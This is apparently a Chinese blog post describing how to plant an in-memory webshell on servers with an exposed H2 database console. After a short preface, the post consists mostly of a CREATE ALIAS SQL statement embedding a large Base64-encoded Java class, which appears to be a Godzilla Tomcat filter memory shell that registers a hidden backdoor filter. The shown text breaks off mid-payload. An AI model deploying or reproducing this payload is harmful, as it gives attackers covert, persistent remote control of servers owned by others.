H2打内存马

之前发t00ls了,忘记发blog了,这次发一下

前言

H2 console遇到好几次了,之前不是用sql执行xp cmdshell命令执行,就是用jndi反打,这两种动静都有点大,而且不是非常优雅,所以就寻思能不能搞一个内存马,查了查之后发现这玩意是能内置添加function函数的,并且能直接执行java命令?那不就简单了?

CREATE ALIAS mem1 AS $$ 
@SuppressWarnings("unchecked")
String mem1(String str) throws Exception
{ 
String Base64Class = "yv66vgAAADIBZwoAYwC2CgBiALcKAGIAuAcAuQoABAC2CAC6CgAEALsKALwAvQoABAC+CgAEAL8JAGIAwAkAYgDBCgBiAMIIAMMKAC8AxAsAFgDFCgA6AMYIAMcKAC8AyAoAyQDKCgDJAMsHAMwKAC8AzQcAzggAzwkA0ADRCgDJANIKAD0A0woAPQDUCADVCgBZANYKAC8A1wcA2AsAFgDZCADaCADbCwCGANwLAIYA3QkA3gDfCgDgAOEHAOIIAOMLAIYA5AkA0ADlBwDmCADnBwDoCgAvAOkKAOoAygcAfgoA6gDrCADsBwDtCgA1AO4IAO8IAPAKAC8A8QcA8ggA8woAKQD0BwD1CAD2BwCdCgA9APcIAPgKACkA+QgA+ggA+wgA/AcA/QgA/ggAsQoALwD/CAEACgAvAPcIAQEIAQIHAQMKAE4BBAoATgEFCAEGCAEHCQEIAQkKAQgBCggBCwgBDAgAlQcBDQcBDggBDwcAowcBEAoAXAC2CAERCgBcARIKAD0BEwoBFAEVBwEWBwEXAQAKZmlsdGVyTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADnNlcnZsZXRDb250ZXh0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MR29kemlsbGFUb21jYXRGaWx0ZXJNZW1zaGVsbDsBAANJTUYBAAJvMgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQABdAEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABm9iamVjdAEABG5hbWUBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAN2YXIBABFMamF2YS9sYW5nL0NsYXNzOwEABHZhcjEBAAR2YXIyAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABHZhcjMBAAFpAQABSQEABHZhcjQBAAZmaWx0ZXIBABZMamF2YXgvc2VydmxldC9GaWx0ZXI7AQAHZHluYW1pYwcBGQEAB0R5bmFtaWMBAAxJbm5lckNsYXNzZXMBACpMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYzsBAAFjAQABbwEADVN0YWNrTWFwVGFibGUHAOgHAPIHARoHANgHARkHARsHAO0HAOIBABFnZXRTZXJ2bGV0Q29udGV4dAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7AQAUbm9TdWNoRmllbGRFeGNlcHRpb24BACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAFW5vU3VjaEZpZWxkRXhjZXB0aW9uMQEABGxpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcA/QcBAwEACkV4Y2VwdGlvbnMBAANJTUMBAAVieXRlcwEAAltCAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwcBDQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHARwBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAIUdvZHppbGxhVG9tY2F0RmlsdGVyTWVtc2hlbGwuamF2YQwAaABpDAChAGkMAG8AaQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAYQ2hhcmFjdGVyRW5jb2RpbmdGaWx0ZXItDAEdAR4HAR8MASABIQwBHQEiDAEjASQMAGQAZQwAZgBnDACVAJYBAChvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuU3RhbmRhcmRDb250ZXh0DAElASYMAScBKAwBKQEqAQAHY29udGV4dAwBKwEsBwEaDAEtAS4MAS8BMAEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQMATEBMgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvdXRpbC9MaWZlY3ljbGVCYXNlAQAFc3RhdGUHATMMATQBNQwBNgE3DAE4ATkMAToBOwEADkdvZHppbGxhRmlsdGVyDAE8ASYMAT0BPgEAFGphdmF4L3NlcnZsZXQvRmlsdGVyDAE/AUABAAhlbmNvZGluZwEABXV0Zi04DAFBAUIMAUMBLgcBRAwBRQFGBwFHDAFIAUkBABBqYXZhL2xhbmcvU3RyaW5nAQACLyoMAUoBSwwBTAE1AQAob3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dAEAC2ZpbHRlclN0YXJ0AQAPamF2YS9sYW5nL0NsYXNzDAFNAU4HARsMAU8BUAEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyTWFwAQATamF2YS9sYW5nL1Rocm93YWJsZQwBUQBpAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyTWFwAQAOZmluZEZpbHRlck1hcHMMAVIBTgEAEGphdmEvbGFuZy9PYmplY3QBAA1nZXRGaWx0ZXJOYW1lDAFTAVQBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwwBVQEkAQAEaHR0cAwBVgFXAQAIQWNjZXB0b3IBAAZ0YXJnZXQBAAhlbmRwb2ludAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgEABnRoaXMkMAwBWAEqAQAGZ2xvYmFsAQAib3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdEdyb3VwSW5mbwEACnByb2Nlc3NvcnMBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAFZAVoMAS8BWwEAA3JlcQEAB2dldE5vdGUHAVwMAV0AewwBXgFfAQAJZ2V0SGVhZGVyAQAFRXRhZ3MBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQALZGVmaW5lQ2xhc3MBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyATPUeXY2NnZnQUFBRElCK0FvQUVRRUlDQUVKQ1FDSkFRb0lBUXNKQUlrQkRBZ0JEUW9BRHdFT0NBRVBCd0VRQ2dBUEFSRUhBUklLQVJNQkZBb0FFUUVWQ0FFV0J3RVhCd0VZQndFWkJ3Q25Cd0VhQ0FFYkNnQVBBUndJQVIwSUFSNElBUjhJQVNBSUFTRUlBU0lLQVNNQkpBY0JKUW9BRUFFbUNnQWRBU2NLQVNNQktBb0JJd0VwQ0FFcUNnRXJBU3dLQUJBQkxRb0JLd0V1QndFdkNnRXJBVEFLQUNZQk1Rb0FKZ0V5Q2dBUUFUTUhBVFFIQVRVSEFUWUtBQzBCQ0FvQUxRRTNDZ0F0QVRnS0FJa0JPUWtBaVFFNkNBRTdDd0FyQVR3SUFUMEtBQkFCUGdjQlB3Y0JRQWdCUVFjQlFnY0JRd2dBdlFnQlJBZ0JSUXNBS3dGR0NBRkhDZ0FRQVVnSEFVa0tBRUlCQ0FvQU53RktDQURzQ2dCQ0FVc0lBTzRJQU5jTEFDc0JUQW9CVFFGT0NnQVFBVThJQVZBS0FBOEJVUW9CVWdGVENnRlNBVlFIQVZVSUFNd0hBVllLQUZJQlZ3Z0EwQWNCV0FvQVZRRlpDd0ZhQVZzTEFWd0JYUXNCWEFGZUJ3RmdDd0JhQVdFSUFXSUlBV01LQUJBQlpBc0FXZ0ZsQndGbUNnQmdBV2NLQUdBQmFBZ0JhUWdCYWdnQmF3c0JiQUZ0Q0FGdUNBRnZDUUZ3QVhFS0FBOEJjZ29CRXdGVEJ3RnpDZ0JzQVFnS0FHd0JkQW9CZFFGMkNnRjFBWGNLQVhBQmVBb0FFUUZJQ0FGNUN3QXJBWG9LQUlrQmV3b0FpUUY4Q1FDSkFYMEhBWDRIQVg4S0FIZ0JnQWNCZ1FjQmdnb0FmQUVJQ3dBc0FZTUtBQkFCaEFvQmhRR0dDZ0FSQVRnS0FId0Jod29BaVFHSUNnQVFBWWtJQVlvSUFZc0xBQ3dCakFzQmpRR09Cd0dQQndHUUFRQUNlR01CQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBUndZWE56QVFBRGJXUTFBUUFIY0dGNWJHOWhaQUVBRVV4cVlYWmhMMnhoYm1jdlEyeGhjM003QVFBR1BHbHVhWFErQVFBREtDbFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQkJNUjI5a2VtbHNiR0ZHYVd4MFpYSTdBUUFFYVc1cGRBRUFIeWhNYW1GMllYZ3ZjMlZ5ZG14bGRDOUdhV3gwWlhKRGIyNW1hV2M3S1ZZQkFBeG1hV3gwWlhKRGIyNW1hV2NCQUJ4TWFtRjJZWGd2YzJWeWRteGxkQzlHYVd4MFpYSkRiMjVtYVdjN0FRQUtSWGhqWlhCMGFXOXVjd2NCa1FFQURHSmhjMlUyTkVSbFkyOWtaUUVBRmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFcwSUJBQWRrWldOdlpHVnlBUUFTVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBR1ltRnpaVFkwQVFBRWRtRnlOZ0VBRlV4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU93RUFBbUp6QVFBRmRtRnNkV1VCQUFKYlFnRUFEVk4wWVdOclRXRndWR0ZpYkdVSEFSZ0hBUm9CQUF4aVlYTmxOalJGYm1OdlpHVUJBQllvVzBJcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUhSVzVqYjJSbGNnRUFBWGdCQUFjb1cwSmFLVnRDQVFBQll3RUFGVXhxWVhaaGVDOWpjbmx3ZEc4dlEybHdhR1Z5T3dFQUJIWmhjalFCQUFGekFRQUJiUUVBQVZvSEFZOEhBWklCQUNZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFIVXhxWVhaaEwzTmxZM1Z5YVhSNUwwMWxjM05oWjJWRWFXZGxjM1E3QVFBRGNtVjBBUUFJWkc5R2FXeDBaWElCQUZzb1RHcGhkbUY0TDNObGNuWnNaWFF2VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdlUyVnlkbXhsZEZKbGMzQnZibk5sTzB4cVlYWmhlQzl6WlhKMmJHVjBMMFpwYkhSbGNrTm9ZV2x1T3lsV0FRQUxaMlYwVW1WemNHOXVjMlVCQUJwTWFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlRXVjBhRzlrT3dFQUJHNWxlSFFCQUFWRmJuUnllUUVBREVsdWJtVnlRMnhoYzNObGN3RUFGVXhxWVhaaEwzVjBhV3d2VFdGd0pFVnVkSEo1T3dFQUNIQmhjbUZ0UzJWNUFRQU9jR0Z5WVcxV1lXeDFaVXhwYzNRQkFCVk1hbUYyWVM5MWRHbHNMMEZ5Y21GNVRHbHpkRHNCQUFwd1lYSmhiVlpoYkhWbEFRQUZabWxsYkdRQkFCbE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRN0FRQUxjbVZoYkZKbGNYVmxjM1FCQUNkTWIzSm5MMkZ3WVdOb1pTOWpZWFJoYkdsdVlTOWpiMjV1WldOMGIzSXZVbVZ4ZFdWemREc0JBQkpqYjNsdmRHVlNaWEYxWlhOMFJtbGxiR1FCQUExamIzbHZkR1ZTWlhGMVpYTjBBUUFiVEc5eVp5OWhjR0ZqYUdVdlkyOTViM1JsTDFKbGNYVmxjM1E3QVFBS2NHRnlZVzFsZEdWeWN3RUFLRXh2Y21jdllYQmhZMmhsTDNSdmJXTmhkQzkxZEdsc0wyaDBkSEF2VUdGeVlXMWxkR1Z5Y3pzQkFBOXdZWEpoYlVoaGMyaFdZV3gxWlhNQkFBaHdZWEpoYlUxaGNBRUFHVXhxWVhaaEwzVjBhV3d2VEdsdWEyVmtTR0Z6YUUxaGNEc0JBQWhwZEdWeVlYUnZjZ0VBRkV4cVlYWmhMM1YwYVd3dlNYUmxjbUYwYjNJN0FRQUxjR0ZuWlVOdmJuUmxlSFFCQUJOTWFtRjJZUzkxZEdsc0wwaGhjMmhOWVhBN0FRQUhjMlZ6YzJsdmJnRUFJRXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjM05wYjI0N0FRQUJhd0VBQm0xbGRHaHZaQUVBRG1WMmFXeGpiR0Z6YzE5aWVYUmxBUUFKWlhacGJHTnNZWE56QVFBSlpHVm1UV1YwYUc5a0FRQU9kWEpzUTJ4aGMzTk1iMkZrWlhJQkFCbE1hbUYyWVM5dVpYUXZWVkpNUTJ4aGMzTk1iMkZrWlhJN0FRQUdZWEp5VDNWMEFRQWZUR3BoZG1FdmFXOHZRbmwwWlVGeWNtRjVUM1YwY0hWMFUzUnlaV0Z0T3dFQUFXWUJBQVJrWVhSaEFRQUxiR0Z6ZEZKbGNYVmxjM1FCQUF4c1lYTjBVbVZ6Y0c5dWMyVUJBQTV6WlhKMmJHVjBVbVZ4ZFdWemRBRUFIa3hxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSU1pYRjFaWE4wT3dFQUQzTmxjblpzWlhSU1pYTndiMjV6WlFFQUgweHFZWFpoZUM5elpYSjJiR1YwTDFObGNuWnNaWFJTWlhOd2IyNXpaVHNCQUF0bWFXeDBaWEpEYUdGcGJnRUFHMHhxWVhaaGVDOXpaWEoyYkdWMEwwWnBiSFJsY2tOb1lXbHVPd0VBQjNKbGNYVmxjM1FCQUNkTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREc0JBQWh5WlhOd2IyNXpaUUVBS0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWE53YjI1elpUc0JBQlpNYjJOaGJGWmhjbWxoWW14bFZIbHdaVlJoWW14bEFRQlNUR3BoZG1FdmRYUnBiQzlOWVhBa1JXNTBjbms4VEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VEdwaGRtRXZkWFJwYkM5QmNuSmhlVXhwYzNROFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN1BqcytPd0VBS1V4cVlYWmhMM1YwYVd3dlFYSnlZWGxNYVhOMFBFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk96NDdCd0dUQndHVUJ3R1ZCd0UwQndFMUJ3RVpCd0dXQndGSkJ3R1hCd0dZQndGVkJ3RldCd0daQndGWUJ3R2FCd0ZnQndGbUJ3R2JBUUFIWkdWemRISnZlUUVBQ2xOdmRYSmpaVVpwYkdVQkFCTkhiMlI2YVd4c1lVWnBiSFJsY2k1cVlYWmhEQUNSQUpJQkFCQTNaVGc0WkRReFpESXhNR1pqTkRWbURBQ0xBSXdCQUJSd1QyOWhiRzFrY1hkSlZWbFhaSEYzWkhGM1pBd0FqUUNNQVFBUWFtRjJZUzUxZEdsc0xrSmhjMlUyTkF3Qm5BR2RBUUFLWjJWMFJHVmpiMlJsY2dFQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek93d0JuZ0dmQVFBVFcweHFZWFpoTDJ4aGJtY3ZUMkpxWldOME93Y0JsZ3dCb0FHaERBR2lBYU1CQUFaa1pXTnZaR1VCQUE5cVlYWmhMMnhoYm1jdlEyeGhjM01CQUJCcVlYWmhMMnhoYm1jdlUzUnlhVzVuQVFBUWFtRjJZUzlzWVc1bkwwOWlhbVZqZEFFQUUycGhkbUV2YkdGdVp5OUZlR05sY0hScGIyNEJBQlp6ZFc0dWJXbHpZeTVDUVZORk5qUkVaV052WkdWeURBR2tBYVVCQUF4a1pXTnZaR1ZDZFdabVpYSUJBQXBuWlhSRmJtTnZaR1Z5QVFBT1pXNWpiMlJsVkc5VGRISnBibWNCQUJaemRXNHViV2x6WXk1Q1FWTkZOalJGYm1OdlpHVnlBUUFHWlc1amIyUmxBUUFEUVVWVEJ3R1NEQUdtQWFjQkFCOXFZWFpoZUM5amNubHdkRzh2YzNCbFl5OVRaV055WlhSTFpYbFRjR1ZqREFHb0Fha01BSkVCcWd3QW1BR3JEQUdzQWEwQkFBTk5SRFVIQWE0TUFhWUJyd3dCc0FHeERBR3lBYk1CQUJScVlYWmhMMjFoZEdndlFtbG5TVzUwWldkbGNnd0J0QUdwREFDUkFiVU1BYllCdHd3QnVBRzVBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFYYW1GMllTOXNZVzVuTDFOMGNtbHVaMEoxYVd4a1pYSU1BYm9CdXd3QnRnRzVEQUNPQUxnTUFJNEFqQUVBQjFKbFptVnlaWElNQWJ3QXVBRUFGbWgwZEhCek9pOHZkM2QzTG1KaGFXUjFMbU52YlM4TUFiMEJ2Z0VBSzI5eVp5OWhjR0ZqYUdVdlkyRjBZV3hwYm1FdlkyOXVibVZqZEc5eUwxSmxjWFZsYzNSR1lXTmhaR1VCQUNOcVlYWmhlQzl6WlhKMmJHVjBMMU5sY25ac1pYUlNaWEYxWlhOMFYzSmhjSEJsY2dFQUNtZGxkRkpsY1hWbGMzUUJBQ3h2Y21jdllYQmhZMmhsTDJOaGRHRnNhVzVoTDJOdmJtNWxZM1J2Y2k5U1pYTndiMjV6WlVaaFkyRmtaUUVBSkdwaGRtRjRMM05sY25ac1pYUXZVMlZ5ZG14bGRGSmxjM0J2Ym5ObFYzSmhjSEJsY2dFQURYZ3RZMnhwWlc1MExXUmhkR0VCQUFkWGFXNWtiM2R6REFHZUFia0JBQVJRVDFOVURBRy9BY0FCQUJGcVlYWmhMM1YwYVd3dlNHRnphRTFoY0F3QndRSENEQUhEQWNRTUFjVUJ4Z2NCeHd3QnlBRzVEQUhKQWNvQkFBQU1BY3NCekFjQm1Bd0J6UUhPREFIUEFkQUJBQ1Z2Y21jdllYQmhZMmhsTDJOaGRHRnNhVzVoTDJOdmJtNWxZM1J2Y2k5U1pYRjFaWE4wQVFBWmIzSm5MMkZ3WVdOb1pTOWpiM2x2ZEdVdlVtVnhkV1Z6ZEF3QjBRSFNBUUFYYW1GMllTOTFkR2xzTDB4cGJtdGxaRWhoYzJoTllYQU1BZE1CMUFjQjFRd0Ewd0hXQndHYURBSFhBY29NQUw4QnBRY0IyQUVBRTJwaGRtRXZkWFJwYkM5TllYQWtSVzUwY25rTUFka0JwUUVBQVNBQkFBRXJEQUhhQWRzTUFkd0JwUUVBRTJwaGRtRXZkWFJwYkM5QmNuSmhlVXhwYzNRTUFjOEIzUXdCM2dHeEFRQUJQUUVBRURoaVl6Y3pNV0ZrTjJGaE9HUXdPVEVCQUFGMUJ3R1hEQUhmQWVBQkFCVnFZWFpoTG14aGJtY3VRMnhoYzNOTWIyRmtaWElCQUF0a1pXWnBibVZEYkdGemN3Y0I0UXdCNGdDUURBSGpBWjhCQUJaemRXNHZiV2x6WXk5Q1FWTkZOalJFWldOdlpHVnlEQUVkQUo4SEFlUU1BZVVCNWd3QjV3SG9EQUhwQWVvQkFBbE5ZV05wYm5SdmMyZ01BZXNBdUF3QW5nQ2ZEQUN1QUs4TUFJOEFrQUVBRjJwaGRtRXZibVYwTDFWU1RFTnNZWE56VEc5aFpHVnlBUUFNYW1GMllTOXVaWFF2VlZKTURBQ1JBZXdCQUJWcVlYWmhMMnhoYm1jdlEyeGhjM05NYjJGa1pYSUJBQjFxWVhaaEwybHZMMEo1ZEdWQmNuSmhlVTkxZEhCMWRGTjBjbVZoYlF3QjdRSHVEQUh2QWZBSEFmRU1BZklCOHd3QjlBR3BEQUNyQUt3TUFlOEJ0d0VBQlVWMFlXZHpBUUFLY0V4ellYZHRjbk5rWVF3QjlRSDJCd0dWREFDN0FmY0JBQTVIYjJSNmFXeHNZVVpwYkhSbGNnRUFGR3BoZG1GNEwzTmxjblpzWlhRdlJtbHNkR1Z5QVFBZWFtRjJZWGd2YzJWeWRteGxkQzlUWlhKMmJHVjBSWGhqWlhCMGFXOXVBUUFUYW1GMllYZ3ZZM0o1Y0hSdkwwTnBjR2hsY2dFQUhHcGhkbUY0TDNObGNuWnNaWFF2VTJWeWRteGxkRkpsY1hWbGMzUUJBQjFxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSU1pYTndiMjV6WlFFQUdXcGhkbUY0TDNObGNuWnNaWFF2Um1sc2RHVnlRMmhoYVc0QkFCaHFZWFpoTDJ4aGJtY3ZjbVZtYkdWamRDOU5aWFJvYjJRQkFCNXFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGMzTnBiMjRCQUJkcVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaQUVBSm05eVp5OWhjR0ZqYUdVdmRHOXRZMkYwTDNWMGFXd3ZhSFIwY0M5UVlYSmhiV1YwWlhKekFRQVNhbUYyWVM5MWRHbHNMMGwwWlhKaGRHOXlBUUFUYW1GMllTOXBieTlKVDBWNFkyVndkR2x2YmdFQUIyWnZjazVoYldVQkFDVW9UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFKWjJWMFRXVjBhRzlrQVFCQUtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk8xdE1hbUYyWVM5c1lXNW5MME5zWVhOek95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZUV1YwYUc5a093RUFCbWx1ZG05clpRRUFPU2hNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHRiVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUNHZGxkRU5zWVhOekFRQVRLQ2xNYW1GMllTOXNZVzVuTDBOc1lYTnpPd0VBQzI1bGQwbHVjM1JoYm1ObEFRQVVLQ2xNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUF0blpYUkpibk4wWVc1alpRRUFLU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRjRMMk55ZVhCMGJ5OURhWEJvWlhJN0FRQUlaMlYwUW5sMFpYTUJBQVFvS1Z0Q0FRQVhLRnRDVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1ZZQkFCY29TVXhxWVhaaEwzTmxZM1Z5YVhSNUwwdGxlVHNwVmdFQUIyUnZSbWx1WVd3QkFBWW9XMElwVzBJQkFCdHFZWFpoTDNObFkzVnlhWFI1TDAxbGMzTmhaMlZFYVdkbGMzUUJBREVvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMM05sWTNWeWFYUjVMMDFsYzNOaFoyVkVhV2RsYzNRN0FRQUdiR1Z1WjNSb0FRQURLQ2xKQVFBR2RYQmtZWFJsQVFBSEtGdENTVWtwVmdFQUJtUnBaMlZ6ZEFFQUJpaEpXMElwVmdFQUNIUnZVM1J5YVc1bkFRQVZLRWtwVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3QVFBTGRHOVZjSEJsY2tOaGMyVUJBQlFvS1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUJtRndjR1Z1WkFFQUxTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtZENkV2xzWkdWeU93RUFDV2RsZEVobFlXUmxjZ0VBRUdWeGRXRnNjMGxuYm05eVpVTmhjMlVCQUJVb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWb0JBQVpsY1hWaGJITUJBQlVvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1ZvQkFBcG5aWFJUWlhOemFXOXVBUUFpS0NsTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhOemFXOXVPd0VBQTNCMWRBRUFPQ2hNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBSloyVjBVbVZoWkdWeUFRQWFLQ2xNYW1GMllTOXBieTlDZFdabVpYSmxaRkpsWVdSbGNqc0JBQlpxWVhaaEwybHZMMEoxWm1abGNtVmtVbVZoWkdWeUFRQUljbVZoWkV4cGJtVUJBQWRwYzBWdGNIUjVBUUFES0NsYUFRQVFaMlYwUkdWamJHRnlaV1JHYVdWc1pBRUFMU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5eVpXWnNaV04wTDBacFpXeGtPd0VBRFhObGRFRmpZMlZ6YzJsaWJHVUJBQVFvV2lsV0FRQURaMlYwQVFBbUtFeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc0JBQTFuWlhSUVlYSmhiV1YwWlhKekFRQXFLQ2xNYjNKbkwyRndZV05vWlM5MGIyMWpZWFF2ZFhScGJDOW9kSFJ3TDFCaGNtRnRaWFJsY25NN0FRQUlaVzUwY25sVFpYUUJBQkVvS1V4cVlYWmhMM1YwYVd3dlUyVjBPd0VBRFdwaGRtRXZkWFJwYkM5VFpYUUJBQllvS1V4cVlYWmhMM1YwYVd3dlNYUmxjbUYwYjNJN0FRQUhhR0Z6VG1WNGRBRUFEV3BoZG1FdmRYUnBiQzlOWVhBQkFBWm5aWFJMWlhrQkFBcHlaWEJzWVdObFFXeHNBUUE0S0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzB4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaG5aWFJXWVd4MVpRRUFGU2hKS1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUJITnBlbVVCQUFod2RYUldZV3gxWlFFQUp5aE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6dE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BWZ0VBRVdwaGRtRXZiR0Z1Wnk5SmJuUmxaMlZ5QVFBRVZGbFFSUUVBRVdkbGRFUmxZMnhoY21Wa1RXVjBhRzlrQVFBUWFtRjJZUzlzWVc1bkwxUm9jbVZoWkFFQURXTjFjbkpsYm5SVWFISmxZV1FCQUJRb0tVeHFZWFpoTDJ4aGJtY3ZWR2h5WldGa093RUFGV2RsZEVOdmJuUmxlSFJEYkdGemMweHZZV1JsY2dFQUdTZ3BUR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzQkFBZDJZV3gxWlU5bUFRQVdLRWtwVEdwaGRtRXZiR0Z1Wnk5SmJuUmxaMlZ5T3dFQURHZGxkRkJoY21GdFpYUmxjZ0VBS1NoYlRHcGhkbUV2Ym1WMEwxVlNURHRNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFKWjJWMFYzSnBkR1Z5QVFBWEtDbE1hbUYyWVM5cGJ5OVFjbWx1ZEZkeWFYUmxjanNCQUFsemRXSnpkSEpwYm1jQkFCWW9TVWtwVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3QVFBVGFtRjJZUzlwYnk5UWNtbHVkRmR5YVhSbGNnRUFCWGR5YVhSbEFRQVZLRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxXQVFBTGRHOUNlWFJsUVhKeVlYa0JBQWxoWkdSSVpXRmtaWElCQUNjb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBRUFvVE